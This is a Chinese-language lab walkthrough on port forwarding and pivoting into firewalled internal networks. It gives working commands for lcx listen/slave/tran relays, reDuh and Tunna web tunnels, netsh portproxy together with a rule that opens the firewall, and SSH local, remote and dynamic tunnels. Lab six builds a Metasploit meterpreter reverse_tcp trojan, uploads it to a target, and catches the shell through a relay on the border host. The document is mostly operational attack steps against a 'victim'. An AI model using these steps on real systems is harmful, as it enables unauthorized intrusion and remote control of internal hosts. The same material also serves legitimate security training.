反彈端口:是指受害者服務器的某一個端口不能訪問,我們通過反彈端口的形式,讓攻擊者能夠訪問該端口,也叫端口轉發
主要指以下情況: -1.訪問服務器的3389端口,由於防火牆的原因,我們訪問不了3389端口
原因:1.3389端口,防火牆沒有開放
2.服務器處於公司內網,對外只發布了80端口
3.3389端口只允許內網連接
-2.服務器處於公司內網,我們沒有辦法直接訪問服務器
-3.服務器處於公司內網,且無法與外網服務器直接通信,如何反彈shell
實驗一:lcx正向反彈端口實驗
lcx工具有三種模式:
1.listen監聽
2.tran 轉發 將一個端口的流量轉發到另一個端口
3.slave 苦力 將一個外網端口和一個內網端口進行連接
lccx工具用法:lcx.exe -tran 1234(要監聽的端口) 127.0.0.1 3389(轉發的地址和端口)
實驗環境:win2008
實驗步驟:
1.將被控服務器的3389端口轉發到本地的1234端口(本地端口轉發)
2.外網服務器連接被控服務器的1234端口
實驗二:reduh正向反彈的端口實驗
實驗環境:win2008開啓防火牆,遠程服務開啓
實驗步驟:
1.利用工具reduh(該工具可端口重用)
2.將reDuh.aspx放到攻擊機的wwwroot目錄下
3.進入direDuh-master\reDuhClient\dist文件夾,利用reDuhClient.jar工具
4.輸入java -jar進入目錄,繼續輸入:java -jar reDuhClient.jar aspx文件的路徑
5.重新打開一個命令行利用 nc對本地開放的1010端口進行配置,連接本地的1010端口,輸入:nc.exe -nvv 127.0.0.1 1010
6.連上之後,創建隧道,以3389端口爲例,將本地的6666端口通過80端口(web服務)連接遠程的3389端口
8.遠程連接本地的6666端口,輸入用戶名和密碼即可遠程連接成功
實驗三:lcx反向反彈端口實驗
實驗環境:win2008
實驗步驟:
1.外網服務器開啓監聽,監聽的第一個端口是被控的主機用來連接的端口,第二個是本地服務器來連接它的遠程端口
輸入:
lcx.exe -listen 4444 12345
2.將被控主機端口轉發到外網服務器
輸入:
lcx.exe -slave 公網ip + 端口 被控服務器ip + 端口
3.在外網服務器連接本地的12345端口,即可進行遠程訪問
實驗四:lcx多級級聯反彈內網主機端口實驗一
實驗環境:內網主機不能訪問外網,但是可以訪問同網段的內網機器,同時3389端口只能內網訪問
實驗步驟:
1.搭建環境 :內網邊界機2有兩個網卡,一個與攻擊機1同網段,一個與目標服務器3同網段(攻擊機1的ip:192.168.1.101,內網邊界機2的ip:192.168.140.131和10.1.1.1,目標服務器3的ip:10.1.1.2)此時1-2通,2-3通,1-3不通
2.攻擊機1開啓監聽:lcx -listen 4444 12345
3.內網邊界機2輸入命令,將端口轉發到攻擊機1: lcx.exe -slave 攻擊機1IP 端口 目標服務器3IP 端口
4.在攻擊機1連接本地12345端口(mstsc遠程,127.0.0.1:12345),遠程訪問成功
實驗五:lcx多級級聯反彈內網主機端口實驗二
實驗環境:內網主機不能訪問外網,但是可以訪問同網段的內網機器,同時3389端口只能本地訪問,但是8080端口對外開放
實驗步驟:
1.被控服務器3得80端口轉發到本地得8080端口
2.在內網邊界機2輸入命令,將目標服務器3的8080端口轉發到攻擊機1
3.在攻擊機1上監聽端口
4.外網攻擊機1連接本地12345端口(mstsc遠程,127.0.0.1:12345),連接成功
實驗六:反彈shell和反彈端口合併
實驗環境:有時我們無法直接訪問目標服務器,也就無法反彈shell,此時就需要一個內網的邊緣機來進行轉發端口,通過這個轉發的端口再進行反彈shell
實驗步驟:
1.在kali攻擊機輸入msfconsole打開msf,選擇合適的payload
2.選擇此payload,並製作對應的木馬
3.上傳1.exe到目標服務器3
4.攻擊機kali開啓監聽
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost (本機ip)
exploit
5.內網邊界機2輸入命令將1234端口轉發到攻擊機1的4444端口
lcx.exe -tran 1234 192.168.140.137 4444
6.目標服務器3運行1.exe將1234端口發送到內網邊界機2,再由內網邊界機2將1234端口轉發成4444端口發送給攻擊機1,攻擊機1就會接收到目標服務器3的shell
實驗七:利用工具netsh(windows本身得防火牆機制)反彈端口
利用該工具必須要求有管理員權限 ,此工具適用於有一臺雙網卡服務器 ,你可以通過它進行內網通信
實驗環境:
有時我們無法直接訪問目標服務器,也就無法反彈shell,此時就需要一個內網的邊緣機來進行轉發端口,通過這個轉發的端口再進行反彈shell
實驗步驟:
1.添加轉發規則
netsh interface portproxy set v4tov4 listenaddress=外網可訪問網址 listenport=外網可訪問端口 connectaddress=內網目標想要訪問的地址 connectport=內網目標想要訪問得端口
2.查看現有規則
netsh interface portproxy show all
3.遠程連接
4.如果防火牆未關,可在命令行放行防火牆,再連接
netsh advfirewall firewall add rule name="myslq" dir=in protocol=tcp localport=外網可訪問端口 action=allow
實驗八:利用工具tunna反彈端口
利用該工具必須要求有管理員權限 ,此工具適用於有一臺雙網卡服務器 ,你可以通過它進行內網通信
實驗環境:
win2003:兩塊網卡,ip分別爲10.1.1.2和192.168.140.138
win2008,ip爲10.1.1.1
實驗步驟:
1.win2008的防火牆關了,開啓遠程桌面,在2003中安裝web服務器
2.將tunna中得conn.aspx文件上傳到win2003的wwwroot目錄下
3.進入tunna目錄,輸入
python proxy.py -u http://192.168.140.138/conn.aspx -l 2345 -a 10.1.1.1 -r 3389 -s -v
4.遠程連接
實驗九:利用ssh隧道反彈端口
實驗環境:
攻擊機kali:192.168.140.137
Centos:網卡一:192.168.140.132
網卡二:10.1.1.3
win2003:10.1.1.2
實驗步驟:
實驗1:
1.本地轉發,即正向代理
2.開啓kali的ssh端口服務,開啓方法請點擊以下鏈查看
https://blog.csdn.net/cxrpty/article/details/104943903
3.攻擊機kali創建隧道:ssh -CfNg -L 4444:10.1.1.2:3389 [email protected]
4.查看4444端口的進程:ps aux | grep 4444
5.查看端口監聽情況:netstat -anpt
6.連接本地的4444端口:rdesktop 127.0.0.1:4444,即可連接遠程桌面
7.關閉隧道,即關閉4444端口的pid:kill pid
實驗2:
1.遠端轉發,即反向代理
2.ssh連接Centos機,創建隧道:ssh -CfNg -R 3333:10.1.1.2:3389 [email protected]
3.查看端口監聽情況,可看到3333端口已監聽
4.連接本地的3333端口:rdesktop 127.0.0.1:3333,即可連接成功
實驗3:ssh動態隧道反彈端口
1.創建動態隧道:ssh -CfNg -D 7000 [email protected],並查看其端口監聽情況
2.如果想要訪問受害者的網頁,可通過訪問網頁的動態隧道
依次點擊設置—>advance—>netwwork—>setting,設置完成後即可訪問